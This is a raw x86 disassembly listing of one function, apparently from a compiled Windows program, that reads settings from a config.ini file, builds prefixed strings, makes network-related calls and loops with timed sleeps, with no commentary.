push 0x384c
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b5f09
push 0x384c
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x9c], ebx
mov ebx, dword [ebp - 0x9c]
cmp dword [ebx], 0
jne 0x4b6024
cmp dword [ebp - 0x2c], 0xa
jge 0x4b5fa6
push 0x80000301
push 0
push dword [ebp - 0x2c]
push 1
mov ebx, 0x530500
call fcn.0052e1bf
add esp, 0x10
mov dword [ebp - 0x9c], eax
push dword [ebp - 0x9c]
push 0x6375ae
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b5f80
push ebx
call fcn.0052e1b9
add esp, 4
mov eax, dword [ebp - 0xa0]
push eax
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x4b5f9a
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x98], eax
jmp 0x4b601a
push 0x80000301
push 0
push dword [ebp - 0x2c]
push 1
mov ebx, 0x530500
call fcn.0052e1bf
add esp, 0x10
mov dword [ebp - 0x9c], eax
push dword [ebp - 0x9c]
push 0x6374fa
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b5ff9
push ebx
call fcn.0052e1b9
add esp, 4
mov eax, dword [ebp - 0xa0]
push eax
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x4b6013
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x98], eax
jmp 0x4b602c
pop eax
pop ebx
pop ecx
jmp 0x4b5eb4
add esp, 0xc
push 0x61d995
push dword [ebp - 0x98]
call fcn.004010f2
add esp, 8
cmp eax, 0
jne 0x4b61b9
fild dword [ebp - 0x28]
fstp qword [ebp - 0xa0]
fld qword [ebp - 0xa0]
fadd qword [0x61d996]
fstp qword [ebp - 0xa8]
fld qword [ebp - 0xa8]
fsub qword [0x637366]
fcomp qword [0x6375b1]
fnstsw ax
test ah, 1
je 0x4b611e
fild dword [ebp - 0x28]
fstp qword [ebp - 0xa0]
fld qword [ebp - 0xa0]
fadd qword [0x61d996]
fstp qword [ebp - 0xa8]
push 0x80000601
push dword [ebp - 0xa4]
push dword [ebp - 0xa8]
push 1
mov ebx, 0x530500
call fcn.0052e1bf
add esp, 0x10
mov dword [ebp - 0xac], eax
push dword [ebp - 0xac]
push 0x6375ae
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0xb0], eax
mov ebx, dword [ebp - 0xac]
test ebx, ebx
je 0x4b60f8
push ebx
call fcn.0052e1b9
add esp, 4
mov eax, dword [ebp - 0xb0]
push eax
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x4b6112
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x98], eax
jmp 0x4b61b4
fild dword [ebp - 0x28]
fstp qword [ebp - 0xa0]
fld qword [ebp - 0xa0]
fadd qword [0x61d996]
fstp qword [ebp - 0xa8]
push 0x80000601
push dword [ebp - 0xa4]
push dword [ebp - 0xa8]
push 1
mov ebx, 0x530500
call fcn.0052e1bf
add esp, 0x10
mov dword [ebp - 0xac], eax
push dword [ebp - 0xac]
push 0x6374fa
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0xb0], eax
mov ebx, dword [ebp - 0xac]
test ebx, ebx
je 0x4b6193
push ebx
call fcn.0052e1b9
add esp, 4
mov eax, dword [ebp - 0xb0]
push eax
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x4b61ad
push ebx
call fcn.0052e1b9
add esp, 4
pop eax
mov dword [ebp - 0x98], eax
jmp 0x4b61b9
push 0x61d995
push dword [ebp - 0x14]
call fcn.004010f2
add esp, 8
cmp eax, 0
jne 0x4b6664
push 0x80000301
push 0
push dword [ebp - 0xc]
push 1
mov ebx, 0x530500
call fcn.0052e1bf
add esp, 0x10
mov dword [ebp - 0x9c], eax
push dword [ebp - 0x98]
push 0x6375a5
push dword [ebp - 0x9c]
push str.XXKJ_
mov ecx, 4
call fcn.00401096
add esp, 0x10
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b6230
push ebx
call fcn.0052e1b9
add esp, 4
push 0
mov ebx, 0x52e8d0
call fcn.0052e1bf
add esp, 4
mov dword [ebp - 0xa4], eax
push str.configconfig.ini
push dword [ebp - 0xa4]
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0xa8], eax
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x4b6279
push ebx
call fcn.0052e1b9
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x6375b9
push reloc.WS2_32.dll_connect
push 0
push str.script
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa8]
test eax, eax
jne 0x4b62ad
mov eax, 0x61d995
push eax
push 4
mov ebx, 0x532560
call fcn.0052e1bf
add esp, 0x34
mov dword [ebp - 0xac], eax
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x4b62d9
push ebx
call fcn.0052e1b9
add esp, 4
push 0
mov ebx, 0x52e8d0
call fcn.0052e1bf
add esp, 4
mov dword [ebp - 0xb0], eax
push str.configconfig.ini
push dword [ebp - 0xb0]
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0xb4], eax
mov ebx, dword [ebp - 0xb0]
test ebx, ebx
je 0x4b6322
push ebx
call fcn.0052e1b9
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.shms
push reloc.WS2_32.dll_connect
push 0
push str.script
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xb4]
test eax, eax
jne 0x4b6356
mov eax, 0x61d995
push eax
push 4
mov ebx, 0x532560
call fcn.0052e1bf
add esp, 0x34
mov dword [ebp - 0xb8], eax
mov ebx, dword [ebp - 0xb4]
test ebx, ebx
je 0x4b6382
push ebx
call fcn.0052e1b9
add esp, 4
push 0x63735c
push dword [ebp - 0xb8]
call fcn.004010f2
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0xbc], eax
mov ebx, dword [ebp - 0xb8]
test ebx, ebx
je 0x4b63b9
push ebx
call fcn.0052e1b9
add esp, 4
cmp dword [ebp - 0xbc], 0
je 0x4b63d0
mov eax, 1
jmp 0x4b63d5
mov eax, 0
mov dword [ebp - 0xc0], eax
push 0
mov ebx, 0x52e8d0
call fcn.0052e1bf
add esp, 4
mov dword [ebp - 0xc4], eax
push str.configconfig.ini
push dword [ebp - 0xc4]
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0xc8], eax
mov ebx, dword [ebp - 0xc4]
test ebx, ebx
je 0x4b6424
push ebx
call fcn.0052e1b9
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x6375c2
push reloc.WS2_32.dll_connect
push 0
push str.script
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc8]
test eax, eax
jne 0x4b6458
mov eax, 0x61d995
push eax
push 4
mov ebx, 0x532560
call fcn.0052e1bf
add esp, 0x34
mov dword [ebp - 0xcc], eax
mov ebx, dword [ebp - 0xc8]
test ebx, ebx
je 0x4b6484
push ebx
call fcn.0052e1b9
add esp, 4
mov dword [ebp - 0xd0], 0
push 0
lea eax, [ebp - 0xd0]
push eax
mov dword [ebp - 0xd4], 0
push 0
lea eax, [ebp - 0xd4]
push eax
mov dword [ebp - 0xd8], 0
push 0
lea eax, [ebp - 0xd8]
push eax
push 1
mov eax, str.8.8.8.8
mov dword [ebp - 0xdc], eax
lea eax, [ebp - 0xdc]
push eax
push 1
mov eax, 0x63735c
mov dword [ebp - 0xe0], eax
lea eax, [ebp - 0xe0]
push eax
push 1
lea eax, [ebp - 0xcc]
push eax
push 1
mov eax, 0x6375d1
mov dword [ebp - 0xe4], eax
lea eax, [ebp - 0xe4]
push eax
push 1
push dword [ebp - 0xc0]
lea eax, [ebp - 0xac]
push eax
lea eax, [ebp - 0xa0]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 8]
push eax
call fcn.0042af56
mov dword [ebp - 0xe8], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x4b653d
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xac]
test ebx, ebx
je 0x4b6550
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xe4]
test ebx, ebx
je 0x4b6563
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xcc]
test ebx, ebx
je 0x4b6576
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xe0]
test ebx, ebx
je 0x4b6589
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xdc]
test ebx, ebx
je 0x4b659c
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xd8]
test ebx, ebx
je 0x4b65af
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xd4]
test ebx, ebx
je 0x4b65c2
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xd0]
test ebx, ebx
je 0x4b65d5
push ebx
call fcn.0052e1b9
add esp, 4
cmp dword [ebp - 0xe8], 1
jne 0x4b6623
mov eax, 0x6375d4
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push 3
push dword [ebp + 8]
call fcn.00411489
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b6614
push ebx
call fcn.0052e1b9
add esp, 4
push 0x2710
call fcn.004153a8
jmp 0x4b665f
mov eax, 0x6375e1
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push 3
push dword [ebp + 8]
call fcn.00411489
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b6655
push ebx
call fcn.0052e1b9
add esp, 4
push 0x7d0
call fcn.004153a8
jmp 0x4b6a91
push 0x80000301
push 0
push dword [ebp - 0xc]
push 1
mov ebx, 0x530500
call fcn.0052e1bf
add esp, 0x10
mov dword [ebp - 0x9c], eax
push dword [ebp - 0x98]
push 0x6375a5
push dword [ebp - 0x9c]
push str.XXKJ_
mov ecx, 4
call fcn.00401096
add esp, 0x10
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b66c2
push ebx
call fcn.0052e1b9
add esp, 4
push 0
mov ebx, 0x52e8d0
call fcn.0052e1bf
add esp, 4
mov dword [ebp - 0xa4], eax
push str.configconfig.ini
push dword [ebp - 0xa4]
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0xa8], eax
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x4b670b
push ebx
call fcn.0052e1b9
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x6375b9
push reloc.WS2_32.dll_connect
push 0
push str.script
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xa8]
test eax, eax
jne 0x4b673f
mov eax, 0x61d995
push eax
push 4
mov ebx, 0x532560
call fcn.0052e1bf
add esp, 0x34
mov dword [ebp - 0xac], eax
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x4b676b
push ebx
call fcn.0052e1b9
add esp, 4
push 0
mov ebx, 0x52e8d0
call fcn.0052e1bf
add esp, 4
mov dword [ebp - 0xb0], eax
push str.configconfig.ini
push dword [ebp - 0xb0]
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0xb4], eax
mov ebx, dword [ebp - 0xb0]
test ebx, ebx
je 0x4b67b4
push ebx
call fcn.0052e1b9
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.shms
push reloc.WS2_32.dll_connect
push 0
push str.script
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xb4]
test eax, eax
jne 0x4b67e8
mov eax, 0x61d995
push eax
push 4
mov ebx, 0x532560
call fcn.0052e1bf
add esp, 0x34
mov dword [ebp - 0xb8], eax
mov ebx, dword [ebp - 0xb4]
test ebx, ebx
je 0x4b6814
push ebx
call fcn.0052e1b9
add esp, 4
push 0x63735c
push dword [ebp - 0xb8]
call fcn.004010f2
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0xbc], eax
mov ebx, dword [ebp - 0xb8]
test ebx, ebx
je 0x4b684b
push ebx
call fcn.0052e1b9
add esp, 4
cmp dword [ebp - 0xbc], 0
je 0x4b6862
mov eax, 1
jmp 0x4b6867
mov eax, 0
mov dword [ebp - 0xc0], eax
push 0
mov ebx, 0x52e8d0
call fcn.0052e1bf
add esp, 4
mov dword [ebp - 0xc4], eax
push str.configconfig.ini
push dword [ebp - 0xc4]
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0xc8], eax
mov ebx, dword [ebp - 0xc4]
test ebx, ebx
je 0x4b68b6
push ebx
call fcn.0052e1b9
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x6375c2
push reloc.WS2_32.dll_connect
push 0
push str.script
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc8]
test eax, eax
jne 0x4b68ea
mov eax, 0x61d995
push eax
push 4
mov ebx, 0x532560
call fcn.0052e1bf
add esp, 0x34
mov dword [ebp - 0xcc], eax
mov ebx, dword [ebp - 0xc8]
test ebx, ebx
je 0x4b6916
push ebx
call fcn.0052e1b9
add esp, 4
push 1
lea eax, [ebp - 0x1c]
push eax
push 1
lea eax, [ebp - 0x18]
push eax
push 1
lea eax, [ebp - 0x14]
push eax
push 1
mov eax, str.8.8.8.8
mov dword [ebp - 0xd0], eax
lea eax, [ebp - 0xd0]
push eax
push 1
mov eax, 0x63735c
mov dword [ebp - 0xd4], eax
lea eax, [ebp - 0xd4]
push eax
push 1
lea eax, [ebp - 0xcc]
push eax
push 1
mov eax, 0x6375d1
mov dword [ebp - 0xd8], eax
lea eax, [ebp - 0xd8]
push eax
push 1
push dword [ebp - 0xc0]
lea eax, [ebp - 0xac]
push eax
lea eax, [ebp - 0xa0]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 8]
push eax
call fcn.0042af56
mov dword [ebp - 0xdc], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x4b69a8
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xac]
test ebx, ebx
je 0x4b69bb
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xd8]
test ebx, ebx
je 0x4b69ce
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xcc]
test ebx, ebx
je 0x4b69e1
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xd4]
test ebx, ebx
je 0x4b69f4
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0xd0]
test ebx, ebx
je 0x4b6a07
push ebx
call fcn.0052e1b9
add esp, 4
cmp dword [ebp - 0xdc], 1
jne 0x4b6a55
mov eax, 0x6375d4
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push 3
push dword [ebp + 8]
call fcn.00411489
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b6a46
push ebx
call fcn.0052e1b9
add esp, 4
push 0x2710
call fcn.004153a8
jmp 0x4b6a91
mov eax, 0x6375e1
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push 3
push dword [ebp + 8]
call fcn.00411489
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b6a87
push ebx
call fcn.0052e1b9
add esp, 4
push 0x7d0
call fcn.004153a8
jmp 0x4b2240
mov ebx, dword [0x8c4648]
call fcn.00401197
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x4b6ac0
push 0x416d
push 0x40182c6
push 4
call fcn.0052e1a7
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4b6add
push 0x416d
push 0x40182c6
push 1
call fcn.0052e1a7
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x10
mov dword [ebp - 0x9c], ebx
mov ebx, dword [ebp - 0x9c]
cmp dword [ebx], 1
jne 0x4b6b33
mov eax, 0x729617
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push 2
push dword [ebp + 8]
call fcn.00411489
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b6b2e
push ebx
call fcn.0052e1b9
add esp, 4
jmp 0x4b6b65
mov eax, 0x729610
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push 2
push dword [ebp + 8]
call fcn.00411489
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4b6b65
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4b6b75
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x4b6b85
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x4b6b95
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4b6ba5
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4b6bb5
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x4b6bc5
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x24]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x4b6be3
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x4b6bdf
imul eax, dword [ebx]
jmp 0x4b6bd4
mov ecx, eax
test ecx, ecx
je 0x4b6c3a
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4b6c01
push ebx
call fcn.0052e1b9
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4b6c15
push ebx
call fcn.0052e1b9
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4b6c29
push ebx
call fcn.0052e1b9
add esp, 4
pop ebx
call fcn.0052e1b9
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x4b6be9
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x4b6c52
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x48]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x4b6c70
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x4b6c6c
imul eax, dword [ebx]
jmp 0x4b6c61
mov ecx, eax
test ecx, ecx
je 0x4b6c8f
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x4b6c88
push ebx
push eax
call fcn.0052e1b9
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x4b6c76
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x4b6ca7
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x4b6cb7
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x4b6cc7
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x4b6cd7
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x4b6ce7
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x4b6cf7
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4b6d07
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4b6d17
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x4b6d2a
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x8c]
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4b6d4c
push ebx
call fcn.0052e1b9
add esp, 4
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x4b6d5f
push ebx
call fcn.0052e1b9
add esp, 4
mov esp, ebp
pop ebp
ret 4